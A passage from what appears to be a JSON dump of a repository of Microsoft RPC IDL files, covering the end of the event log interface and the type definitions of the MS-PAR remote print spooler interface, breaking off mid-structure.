ComputerName,\n            [in, unique] PRPC_SID UserSID,\n            [in, size_is(NumStrings), unique] PRPC_UNICODE_STRING Strings[*],\n            [in, size_is(DataSize), unique] unsigned char* Data,\n            [in]         unsigned short Flags,\n            [in, out, unique] unsigned long* RecordNumber,\n            [in, out, unique] unsigned long* TimeWritten\n        );\n\n    NTSTATUS\n        ElfrClearELFA(\n            [in]         IELF_HANDLE LogHandle,\n            [in, unique]  PRPC_STRING BackupFileName\n        );\n\n    NTSTATUS\n        ElfrBackupELFA(\n            [in]         IELF_HANDLE LogHandle,\n            [in]         PRPC_STRING BackupFileName\n        );\n\n    NTSTATUS\n        ElfrOpenELA(\n            [in]     EVENTLOG_HANDLE_A UNCServerName,\n            [in]     PRPC_STRING ModuleName,\n            [in]     PRPC_STRING RegModuleName,\n            [in]     unsigned long MajorVersion,\n            [in]     unsigned long MinorVersion,\n            [out]    IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrRegisterEventSourceA(\n            [in]     EVENTLOG_HANDLE_A UNCServerName,\n            [in]     PRPC_STRING ModuleName,\n            [in]     PRPC_STRING RegModuleName,\n            [in]     unsigned long MajorVersion,\n            [in]     unsigned long MinorVersion,\n            [out]    IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrOpenBELA(\n            [in]     EVENTLOG_HANDLE_A UNCServerName,\n            [in]     PRPC_STRING BackupFileName,\n            [in]     unsigned long MajorVersion,\n            [in]     unsigned long MinorVersion,\n            [out]    IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrReadELA(\n            [in]    IELF_HANDLE LogHandle,\n            [in]    unsigned long ReadFlags,\n            [in]    unsigned long RecordOffset,\n            [in]    RULONG NumberOfBytesToRead,\n            [out, size_is(NumberOfBytesToRead)] unsigned char* Buffer,\n            [out]   unsigned long* NumberOfBytesRead,\n            [out]   unsigned long* MinNumberOfBytesNeeded\n        );\n\n\n    NTSTATUS\n        ElfrReportEventA(\n            [in]    IELF_HANDLE LogHandle,\n            [in]    unsigned long Time,\n            [in]    unsigned short EventType,\n            [in]    unsigned short EventCategory,\n            [in]    unsigned long EventID,\n            [in, range(0, 256)]    unsigned short NumStrings,\n            [in, range(0, 61440)]    unsigned long DataSize,\n            [in]    PRPC_STRING ComputerName,\n            [in, unique] PRPC_SID UserSID,\n            [in, size_is(NumStrings), unique] PRPC_STRING Strings[*],\n            [in, size_is(DataSize), unique] unsigned char* Data,\n            [in]    unsigned short Flags,\n            [in, out, unique] unsigned long* RecordNumber,\n            [in, out, unique] unsigned long* TimeWritten\n        );\n\n    void Opnum19NotUsedOnWire(void);\n    void Opnum20NotUsedOnWire(void);\n    void Opnum21NotUsedOnWire(void);\n\n    NTSTATUS\n        ElfrGetLogInformation(\n            [in]     IELF_HANDLE             LogHandle,\n            [in]     unsigned long                   InfoLevel,\n            [out, size_is(cbBufSize)] unsigned char* lpBuffer,\n            [in, range(0, 1024)]      unsigned long  cbBufSize,\n            [out]    unsigned long* pcbBytesNeeded\n        );\n\n    void Opnum23NotUsedOnWire(void);\n\n    NTSTATUS\n        ElfrReportEventAndSourceW(\n            [in]         IELF_HANDLE LogHandle,\n            [in]         unsigned long Time,\n            [in]         unsigned short EventType,\n            [in]         unsigned short EventCategory,\n            [in]         unsigned long EventID,\n            [in]         PRPC_UNICODE_STRING SourceName,\n            [in, range(0, 256)]         unsigned short NumStrings,\n            [in, range(0, 61440)]         unsigned long DataSize,\n            [in]         PRPC_UNICODE_STRING ComputerName,\n            [in, unique] PRPC_SID UserSID,\n            [in, size_is(NumStrings), unique] PRPC_UNICODE_STRING Strings[*],\n            [in, size_is(DataSize), unique] unsigned char* Data,\n            [in]         unsigned short Flags,\n            [in, out, unique] unsigned long* RecordNumber,\n            [in, out, unique] unsigned long* TimeWritten\n        );\n\n    NTSTATUS ElfrReportEventExW(\n        [in] IELF_HANDLE LogHandle,\n        [in] PFILETIME TimeGenerated,\n        [in] unsigned short EventType,\n        [in] unsigned short EventCategory,\n        [in] unsigned long EventID,\n        [in, range(0, 256)] unsigned short NumStrings,\n        [in, range(0, 61440)] unsigned long DataSize,\n        [in] PRPC_UNICODE_STRING ComputerName,\n        [in, unique] PRPC_SID UserSID,\n        [in, size_is(NumStrings), unique] PRPC_UNICODE_STRING Strings[*],\n        [in, size_is(DataSize), unique] unsigned char* Data,\n        [in] unsigned short Flags,\n        [in, out, unique] unsigned long* RecordNumber\n    );\n\n    NTSTATUS ElfrReportEventExA(\n        [in] IELF_HANDLE LogHandle,\n        [in] PFILETIME TimeGenerated,\n        [in] unsigned short EventType,\n        [in] unsigned short EventCategory,\n        [in] unsigned long EventID,\n        [in, range(0, 256)] unsigned short NumStrings,\n        [in, range(0, 61440)] unsigned long DataSize,\n        [in] PRPC_STRING ComputerName,\n        [in, unique] PRPC_SID UserSID,\n        [in, size_is(NumStrings), unique] PRPC_STRING Strings[*],\n        [in, size_is(DataSize), unique] unsigned char* Data,\n        [in] unsigned short Flags,\n        [in, out, unique] unsigned long* RecordNumber\n    );\n\n\n\n}"
  },
  {
    "path": "IDL_FILES/ms-par.idl",
    "content": "[\n\tuuid(76f03f96-cdfd-44fc-a22c-64950a001209),\n\t\tversion(1.0),\n]\ninterface IRemoteWinspool\n{\n#define TABLE_DWORD              0x1\n#define TABLE_STRING             0x2\n#define TABLE_DEVMODE            0x3\n#define TABLE_TIME               0x4\n#define TABLE_SECURITYDESCRIPTOR 0x5\n\ttypedef unsigned char BYTE, * PBYTE, * LPBYTE;\n\ttypedef unsigned long DWORD, * PDWORD, * LPDWORD;\n    typedef wchar_t WCHAR, * PWCHAR;\n    typedef unsigned __int64 ULONGLONG;\n    typedef ULONGLONG DWORDLONG, * PDWORDLONG;\n\ttypedef __int3264 LONG_PTR;\n\ttypedef unsigned short WORD, * PWORD, * LPWORD;\n\ttypedef unsigned short USHORT;\n\ttypedef unsigned char UCHAR, * PUCHAR;\n    typedef long LONG, * PLONG, * LPLONG;\n    typedef signed __int64 LONGLONG;\n    typedef LONG HRESULT;\n\n    typedef struct _GUID {\n        unsigned long Data1;\n        unsigned short Data2;\n        unsigned short Data3;\n        byte Data4[8];\n    } GUID,\n        UUID,\n        * PGUID;\n\n    typedef struct _RPC_SID_IDENTIFIER_AUTHORITY {\n        byte Value[6];\n    } RPC_SID_IDENTIFIER_AUTHORITY;\n\n    typedef struct _RPC_SID {\n        unsigned char Revision;\n        unsigned char SubAuthorityCount;\n        RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;\n        [size_is(SubAuthorityCount)] unsigned long SubAuthority[];\n    } RPC_SID,\n        * PRPC_SID,\n        * PSID;\n\n    typedef struct _ACL {\n        unsigned char AclRevision;\n        unsigned char Sbz1;\n        unsigned short AclSize;\n        unsigned short AceCount;\n        unsigned short Sbz2;\n    } ACL,\n        * PACL;\n\n    typedef struct _FILETIME {\n        DWORD dwLowDateTime;\n        DWORD dwHighDateTime;\n    } FILETIME,\n        * PFILETIME,\n        * LPFILETIME;\n\n    typedef struct _SYSTEMTIME {\n        WORD wYear;\n        WORD wMonth;\n        WORD wDayOfWeek;\n        WORD wDay;\n        WORD wHour;\n        WORD wMinute;\n        WORD wSecond;\n        WORD wMilliseconds;\n    } SYSTEMTIME,\n        * PSYSTEMTIME;\n\n    typedef struct _SECURITY_DESCRIPTOR {\n        UCHAR Revision;\n        UCHAR Sbz1;\n        USHORT Control;\n        PSID Owner;\n        PSID Group;\n        PACL Sacl;\n        PACL Dacl;\n    } SECURITY_DESCRIPTOR,\n        * PSECURITY_DESCRIPTOR;\n\n    \n\n    typedef enum {\n        BIDI_NULL = 0,\n        BIDI_INT = 1,\n        BIDI_FLOAT = 2,\n        BIDI_BOOL = 3,\n        BIDI_STRING = 4,\n        BIDI_TEXT = 5,\n        BIDI_ENUM = 6,\n        BIDI_BLOB = 7\n    } BIDI_TYPE;\n\n    typedef enum {\n        kRpcPropertyTypeString = 1,\n        kRpcPropertyTypeInt32,\n        kRpcPropertyTypeInt64,\n        kRpcPropertyTypeByte,\n        kRpcPropertyTypeBuffer\n    } RPC_EPrintPropertyType;\n\n    typedef enum {\n        kInvalidJobState = 0,\n        kLogJobPrinted,\n        kLogJobRendered,\n        kLogJobError,\n        kLogJobPipelineError,\n        kLogOfflineFileFull\n    } EBranchOfficeJobEventType;\n\n    // [MS-RPRN] common data types\n    typedef unsigned short LANGID;\n    typedef [context_handle] void* GDI_HANDLE;\n    typedef [context_handle] void* PRINTER_HANDLE;\n    typedef [handle] wchar_t* STRING_HANDLE;\n\n    // [MS-RPRN] common utility structures\n    typedef struct {\n        long cx;\n        long cy;\n    } SIZE;\n\n    typedef struct {\n        long left;\n        long top;\n        long right;\n        long bottom;\n    } RECTL;\n\n    // [MS-RPRN] common device state structure\n    typedef struct _devicemode {\n        wchar_t  dmDeviceName[32];\n\n        unsigned short dmSpecVersion;\n        unsigned short dmDriverVersion;\n        unsigned short dmSize;\n        unsigned short dmDriverExtra;\n\n        DWORD dmFields;\n\n        short dmOrientation;\n        short dmPaperSize;\n        short dmPaperLength;\n        short dmPaperWidth;\n        short dmScale;\n        short dmCopies;\n        short dmDefaultSource;\n        short dmPrintQuality;\n        short dmColor;\n        short dmDuplex;\n        short dmYResolution;\n        short dmTTOption;\n        short dmCollate;\n\n        wchar_t  dmFormName[32];\n\n        unsigned short reserved0;\n\n        DWORD reserved1;\n        DWORD reserved2;\n        DWORD reserved3;\n        DWORD dmNup;\n        DWORD reserved4;\n        DWORD dmICMMethod;\n        DWORD dmICMIntent;\n        DWORD dmMediaType;\n        DWORD dmDitherType;\n        DWORD reserved5;\n        DWORD reserved6;\n        DWORD reserved7;\n        DWORD reserved8;\n    } DEVMODE;\n\n    // [MS-RPRN] common info structures\n    typedef struct _DOC_INFO_1 {\n        [string] wchar_t* pDocName;\n        [string] wchar_t* pOutputFile;\n        [string] wchar_t* pDatatype;\n    } DOC_INFO_1;\n\n    typedef struct _DRIVER_INFO_1 {\n        [string] wchar_t* pName;\n    } DRIVER_INFO_1;\n\n    typedef struct _DRIVER_INFO_2 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n    } DRIVER_INFO_2;\n\n    typedef struct _RPC_DRIVER_INFO_3 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n    } RPC_DRIVER_INFO_3;\n\n    typedef struct _RPC_DRIVER_INFO_4 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n        DWORD cchPreviousNames;\n        [size_is(cchPreviousNames), unique]\n            wchar_t* pszzPreviousNames;\n    } RPC_DRIVER_INFO_4;\n\n    typedef struct _RPC_DRIVER_INFO_6 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n        DWORD cchPreviousNames;\n        [size_is(cchPreviousNames), unique]\n            wchar_t* pszzPreviousNames;\n        FILETIME ftDriverDate;\n        DWORDLONG dwlDriverVersion;\n        [string] wchar_t* pMfgName;\n        [string] wchar_t* pOEMUrl;\n        [string] wchar_t* pHardwareID;\n        [string] wchar_t* pProvider;\n    } RPC_DRIVER_INFO_6;\n\n    typedef struct _RPC_DRIVER_INFO_8 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n        DWORD cchPreviousNames;\n        [size_is(cchPreviousNames), unique]\n            wchar_t* pszzPreviousNames;\n        FILETIME ftDriverDate;\n        DWORDLONG dwlDriverVersion;\n        [string] wchar_t* pMfgName;\n        [string] wchar_t* pOEMUrl;\n        [string] wchar_t* pHardwareID;\n        [string] wchar_t* pProvider;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pVendorSetup;\n        DWORD cchColorProfiles;\n        [size_is(cchColorProfiles), unique]\n            wchar_t* pszzColorProfiles;\n        [string] wchar_t* pInfPath;\n        DWORD dwPrinterDriverAttributes;\n        DWORD cchCoreDependencies;\n        [size_is(cchCoreDependencies), unique]\n            wchar_t* pszzCoreDriverDependencies;\n        FILETIME ftMinInboxDriverVerDate;\n        DWORDLONG dwlMinInboxDriverVerVersion;\n    } RPC_DRIVER_INFO_8;\n\n    typedef struct _FORM_INFO_1 {\n        DWORD Flags;\n        [string] wchar_t* pName;\n        SIZE Size;\n        RECTL ImageableArea;\n    } FORM_INFO_1;\n\n    typedef struct _RPC_FORM_INFO_2 {\n        DWORD Flags;\n        [string, unique] const wchar_t* pName;\n        SIZE Size;\n        RECTL ImageableArea;\n        [string, unique] const char* pKeyword;\n        DWORD StringType;\n        [string, unique] const wchar_t* pMuiDll;\n        DWORD dwResourceId;\n        [string, unique] const wchar_t* pDisplayName;\n        LANGID wLangID;\n    } RPC_FORM_INFO_2;\n\n    typedef struct _JOB_INFO_1 {\n        DWORD JobId;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pDocument;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pStatus;\n        DWORD Status;\n        DWORD Priority;\n        DWORD Position;\n        DWORD TotalPages;\n        DWORD PagesPrinted;\n        SYSTEMTIME Submitted;\n    } JOB_INFO_1;\n\n    typedef struct _JOB_INFO_2 {\n        DWORD JobId;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pDocument;\n        [string] wchar_t* pNotifyName;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pParameters;\n        [string] wchar_t* pDriverName;\n        DEVMODE* pDevMode;\n        [string] wchar_t* pStatus;\n        SECURITY_DESCRIPTOR* pSecurityDescriptor;\n        DWORD Status;\n        DWORD Priority;\n        DWORD Position;\n        DWORD StartTime;\n        DWORD UntilTime;\n        DWORD TotalPages;\n        DWORD Size;\n        SYSTEMTIME Submitted;\n        DWORD Time;\n        DWORD PagesPrinted;\n    } JOB_INFO_2;\n\n    typedef struct _JOB_INFO_3 {\n        DWORD JobId;\n        DWORD NextJobId;\n        DWORD Reserved;\n    } JOB_INFO_3;\n\n    typedef struct _JOB_INFO_4 {\n        DWORD JobId;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pDocument;\n        [string] wchar_t* pNotifyName;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pParameters;\n        [string] wchar_t* pDriverName;\n        DEVMODE* pDevMode;\n        [string] wchar_t* pStatus;\n        SECURITY_DESCRIPTOR* pSecurityDescriptor;\n        DWORD Status;\n        DWORD Priority;\n        DWORD Position;\n        DWORD StartTime;\n        DWORD UntilTime;\n        DWORD TotalPages;\n        DWORD Size;\n        SYSTEMTIME Submitted;\n        DWORD Time;\n        DWORD PagesPrinted;\n        long SizeHigh;\n    } JOB_INFO_4;\n\n    typedef struct _MONITOR_INFO_1 {\n        [string] wchar_t* pName;\n    } MONITOR_INFO_1;\n\n    typedef struct _MONITOR_INFO_2 {\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDLLName;\n    } MONITOR_INFO_2;\n\n    typedef struct _PORT_INFO_1 {\n        [string] wchar_t* pPortName;\n    } PORT_INFO_1;\n\n    typedef struct _PORT_INFO_2 {\n        [string] wchar_t* pPortName;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDescription;\n        DWORD fPortType;\n        DWORD Reserved;\n    } PORT_INFO_2;\n\n    typedef struct _PORT_INFO_3 {\n        DWORD dwStatus;\n        [string] wchar_t* pszStatus;\n        DWORD dwSeverity;\n    } PORT_INFO_3;\n\n    typedef struct _PORT_INFO_FF {\n        [string] wchar_t* pPortName;\n        DWORD cbMonitorData;\n        BYTE* pMonitorData;\n    } PORT_INFO_FF;\n\n    typedef struct _PRINTER_INFO_STRESS {\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pServerName;\n        DWORD cJobs;\n        DWORD cTotalJobs;\n        DWORD cTotalBytes;\n        SYSTEMTIME stUpTime;\n        DWORD MaxcRef;\n        DWORD cTotalPagesPrinted;\n        DWORD dwGetVersion;\n        DWORD fFreeBuild;\n        DWORD cSpooling;\n        DWORD cMaxSpooling;\n        DWORD cRef;\n        DWORD cErrorOutOfPaper;\n        DWORD cErrorNotReady;\n        DWORD cJobError;\n        DWORD dwNumberOfProcessors;\n        DWORD dwProcessorType;\n        DWORD dwHighPartTotalBytes;\n        DWORD cChangeID;\n        DWORD dwLastError;\n        DWORD Status;\n        DWORD cEnumerateNetworkPrinters;\n        DWORD cAddNetPrinters;\n        unsigned short wProcessorArchitecture;\n        unsigned short wProcessorLevel;\n        DWORD cRefIC;\n        DWORD dwReserved2;\n        DWORD dwReserved3;\n    } PRINTER_INFO_STRESS;\n\n    typedef struct _PRINTER_INFO_1 {\n        DWORD Flags;\n        [string] wchar_t* pDescription;\n        [string] wchar_t* pName;\n        [string] wchar_t* pComment;\n    } PRINTER_INFO_1;\n\n    typedef struct _PRINTER_INFO_2 {\n        [string] wchar_t* pServerName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pShareName;\n        [string] wchar_t* pPortName;\n        [string] wchar_t* pDriverName;\n        [string] wchar_t* pComment;\n        [string] wchar_t* pLocation;\n        DEVMODE* pDevMode;\n        [string] wchar_t* pSepFile;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pParameters;\n        SECURITY_DESCRIPTOR* pSecurityDescriptor;\n        DWORD Attributes;\n        DWORD Priority;\n        DWORD DefaultPriority;\n        DWORD StartTime;\n        DWORD UntilTime;\n        DWORD Status;\n        DWORD cJobs;\n        DWORD AveragePPM;\n    } PRINTER_INFO_2;\n\n    typedef struct _PRINTER_INFO_3 {\n        SECURITY_DESCRIPTOR* pSecurityDescriptor;\n    } PRINTER_INFO_3;\n\n    typedef struct _PRINTER_INFO_4 {\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pServerName;\n        DWORD Attributes;\n    } PRINTER_INFO_4;\n\n    typedef struct _PRINTER_INFO_5 {\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pPortName;\n        DWORD Attributes;\n        DWORD DeviceNotSelectedTimeout;\n        DWORD TransmissionRetryTimeout;\n    } PRINTER_INFO_5;\n\n    typedef struct _PRINTER_INFO_6 {\n        DWORD dwStatus;\n    } PRINTER_INFO_6;\n\n    typedef struct _PRINTER_INFO_7 {\n        [string] wchar_t* pszObjectGUID;\n        DWORD dwAction;\n    } PRINTER_INFO_7;\n\n    typedef struct _PRINTER_INFO_8 {\n        DEVMODE* pDevMode;\n    } PRINTER_INFO_8;\n\n    typedef struct _PRINTER_INFO_9 {\n        DEVMODE* pDevMode;\n    } PRINTER_INFO_9;\n\n    typedef struct _SPLCLIENT_INFO_1 {\n        DWORD dwSize;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        DWORD dwBuildNum;\n        DWORD dwMajorVersion;\n        DWORD dwMinorVersion;\n        unsigned short wProcessorArchitecture;\n    } SPLCLIENT_INFO_1;\n\n    typedef struct _SPLCLIENT_INFO_2 {\n        LONG_PTR notUsed;\n    } SPLCLIENT_INFO_2;\n\n    typedef struct _SPLCLIENT_INFO_3 {\n        unsigned int cbSize;\n        DWORD dwFlags;\n        DWORD dwSize;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        DWORD dwBuildNum;\n        DWORD dwMajorVersion;\n        DWORD dwMinorVersion;\n        unsigned short wProcessorArchitecture;\n        unsigned  __int64 hSplPrinter;\n    } SPLCLIENT_INFO_3;\n\n    // [MS-RPRN] common info container structures\n    typedef struct _DEVMODE_CONTAINER {\n        DWORD cbBuf;\n        [size_is(cbBuf), unique] BYTE* pDevMode;\n    } DEVMODE_CONTAINER;\n\n    typedef struct _DOC_INFO_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                DOC_INFO_1* pDocInfo1;\n        } DocInfo;\n    } DOC_INFO_CONTAINER;\n\n    typedef struct _DRIVER_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                DRIVER_INFO_1* Level1;\n            [case(2)]\n                DRIVER_INFO_2* Level2;\n            [case(3)]\n                RPC_DRIVER_INFO_3* Level3;\n            [case(4)]\n                RPC_DRIVER_INFO_4* Level4;\n            [case(6)]\n                RPC_DRIVER_INFO_6* Level6;\n            [case(8)]\n                RPC_DRIVER_INFO_8* Level8;\n        } DriverInfo;\n    } DRIVER_CONTAINER;\n\n    typedef struct _FORM_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                FORM_INFO_1* pFormInfo1;\n            [case(2)]\n                RPC_FORM_INFO_2* pFormInfo2;\n        } FormInfo;\n    } FORM_CONTAINER;\n\n    typedef struct _JOB_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                JOB_INFO_1* Level1;\n            [case(2)]\n                JOB_INFO_2* Level2;\n            [case(3)]\n                JOB_INFO_3* Level3;\n            [case(4)]\n                JOB_INFO_4* Level4;\n        } JobInfo;\n    } JOB_CONTAINER;\n\n    typedef struct _MONITOR_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                MONITOR_INFO_1* pMonitorInfo1;\n            [case(2)]\n                MONITOR_INFO_2* pMonitorInfo2;\n        } MonitorInfo;\n    } MONITOR_CONTAINER;\n\n    typedef struct _PORT_CONTAINER {\n        DWORD Level;\n        [switch_is(0x00FFFFFF & Level)]\n            union {\n            [case(1)]\n                PORT_INFO_1* pPortInfo1;\n            [case(2)]\n                PORT_INFO_2* pPortInfo2;\n            [case(3)]\n                PORT_INFO_3* pPortInfo3;\n            [case(0x00FFFFFF)]\n                PORT_INFO_FF* pPortInfoFF;\n        } PortInfo;\n    } PORT_CONTAINER;\n\n    typedef struct _PORT_VAR_CONTAINER {\n        DWORD cbMonitorData;\n        [size_is(cbMonitorData), unique, disable_consistency_check]\n            BYTE* pMonitorData;\n    } PORT_VAR_CONTAINER;\n\n    typedef struct _PRINTER_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(0)]\n                PRINTER_INFO_STRESS* pPrinterInfoStress;\n            [case(1)]\n                PRINTER_INFO_1* pPrinterInfo1;\n            [case(2)]\n                PRINTER_INFO_2* pPrinterInfo2;\n            [case(3)]\n                PRINTER_INFO_3* pPrinterInfo3;\n            [case(4)]\n                PRINTER_INFO_4* pPrinterInfo4;\n            [case(5)]\n                PRINTER_INFO_5* pPrinterInfo5;\n            [case(6)]\n                PRINTER_INFO_6* pPrinterInfo6;\n            [case(7)]\n                PRINTER_INFO_7* pPrinterInfo7;\n            [case(8)]\n                PRINTER_INFO_8* pPrinterInfo8;\n            [case(9)]\n                PRINTER_INFO_9* pPrinterInfo9;\n        } PrinterInfo;\n    } PRINTER_CONTAINER;\n\n    typedef struct _RPC_BINARY_CONTAINER {\n        DWORD cbBuf;\n        [size_is(cbBuf), unique] BYTE* pszString;\n    } RPC_BINARY_CONTAINER;\n\n    typedef struct _RPC_BIDI_DATA {\n        DWORD dwBidiType;\n        [switch_is(dwBidiType)] union {\n            [case(BIDI_NULL, BIDI_BOOL)]\n                int bData;\n            [case(BIDI_INT)]\n                long iData;\n            [case(BIDI_STRING, BIDI_TEXT, BIDI_ENUM)]\n                [string, unique] wchar_t* sData;\n            [case(BIDI_FLOAT)]\n                float fData;\n            [case(BIDI_BLOB)]\n                RPC_BINARY_CONTAINER biData;\n        } u;\n    } RPC_BIDI_DATA;\n\n    typedef struct _RPC_BIDI_REQUEST_DATA {\n        DWORD dwReqNumber;\n        [string, unique] wchar_t* pSchema;\n        RPC_BIDI_DATA data;\n    } RPC_BIDI_REQUEST_DATA;\n\n    typedef struct _RPC_BIDI_RESPONSE_DATA {\n        DWORD dwResult;\n        DWORD dwReqNumber;\n        [string, unique] wchar_t* pSchema;\n        RPC_BIDI_DATA data;\n    } RPC_BIDI_RESPONSE_DATA;\n\n    typedef struct _RPC_BIDI_REQUEST_CONTAINER {\n        DWORD Version;\n        DWORD Flags;\n        DWORD Count;\n        [size_is(Count), unique] RPC_BIDI_REQUEST_DATA aData[];\n    } RPC_BIDI_REQUEST_CONTAINER;\n\n    typedef struct _RPC_BIDI_RESPONSE_CONTAINER {\n        DWORD Version;\n        DWORD Flags;\n        DWORD Count;\n        [size_is(Count), unique] RPC_BIDI_RESPONSE_DATA aData[];\n    } RPC_BIDI_RESPONSE_CONTAINER;\n\n    typedef struct SECURITY_CONTAINER {\n        DWORD cbBuf;\n        [size_is(cbBuf), unique] BYTE* pSecurity;\n    } SECURITY_CONTAINER;\n\n    typedef struct _SPLCLIENT_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                SPLCLIENT_INFO_1* pClientInfo1;\n            [case(2)]\n                SPLCLIENT_INFO_2* pNotUsed;\n            [case(3)]\n                SPLCLIENT_INFO_3* pClientInfo3;\n        } ClientInfo;\n    } SPLCLIENT_CONTAINER;\n\n    typedef struct _STRING_CONTAINER {\n        DWORD cbBuf;\n        [size_is(cbBuf / 2), unique] WCHAR* pszString;\n    } STRING_CONTAINER;\n\n    typedef struct _SYSTEMTIME_CONTAINER {\n        DWORD cbBuf;\n        SYSTEMTIME* pSystemTime;\n    } SYSTEMTIME_CONTAINER;\n\n    typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {\n        unsigned short Type;\n        unsigned short Reserved0;\n        DWORD Reserved1;\n        DWORD Reserved2;\n        DWORD Count;\n        [size_is(Count), unique] unsigned short* pFields;\n    } RPC_V2_NOTIFY_OPTIONS_TYPE;\n\n    typedef struct _RPC_V2_NOTIFY_OPTIONS {\n        DWORD Version;\n        DWORD Reserved;\n        DWORD Count;\n        [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;\n    } RPC_V2_NOTIFY_OPTIONS;\n\n    typedef\n        [switch_type (DWORD)]\n        union _RPC_V2_NOTIFY_INFO_DATA_DATA {\n        [case(TABLE_STRING)]\n            STRING_CONTAINER String;\n        [case(TABLE_DWORD)]\n            DWORD dwData[2];\n        [case(TABLE_TIME)]\n            SYSTEMTIME_CONTAINER SystemTime;\n        [case(TABLE_DEVMODE)]\n            DEVMODE_CONTAINER DevMode;\n        [case(TABLE_SECURITYDESCRIPTOR)]\n            SECURITY_CONTAINER SecurityDescriptor;\n    } RPC_V2_NOTIFY_INFO_DATA_DATA;\n\n    typedef struct _RPC_V2_NOTIFY_INFO_DATA {\n        unsigned short Type;\n        unsigned short Field;\n        DWORD Reserved;\n        DWORD Id;\n        [switch_is(Reserved & 0xffff)]\n            RPC_V2_NOTIFY_INFO_DATA_DATA Data;\n    } RPC_V2_NOTIFY_INFO_DATA;\n\n    typedef struct _RPC_V2_NOTIFY_INFO {\n        DWORD Version;\n        DWORD Flags;\n        DWORD Count;\n        [size_is(Count), unique] RPC_V2_NOTIFY_INFO_DATA aData[];\n    } RPC_V2_NOTIFY_INFO;\n\n    typedef [switch_type(DWORD)] union _RPC_V2_UREPLY_PRINTER {\n        [case (0)]\n            RPC_V2_NOTIFY_INFO* pInfo;\n    } RPC_V2_UREPLY_PRINTER;\n\n    typedef struct {\n        DWORD             Status;\n        [string] wchar_t* pDocumentName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pPortName;\n        LONGLONG          Size;\n        DWORD             TotalPages;\n    } RPC_BranchOfficeJobDataPrinted;\n\n    typedef struct {\n        LONGLONG    Size;\n        DWORD       ICMMethod;\n        short       Color;\n        short       PrintQuality;\n        short       YResolution;\n        short       Copies;\n        short       TTOption;\n    } RPC_BranchOfficeJobDataRendered;\n\n    typedef struct {\n        DWORD             LastError;\n        [string] wchar_t* pDocumentName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pDataType;\n        LONGLONG          TotalSize;\n        LONGLONG          PrintedSize;\n        DWORD             TotalPages;\n        DWORD             PrintedPages;\n        [string] wchar_t* pMachineName;\n        [string] 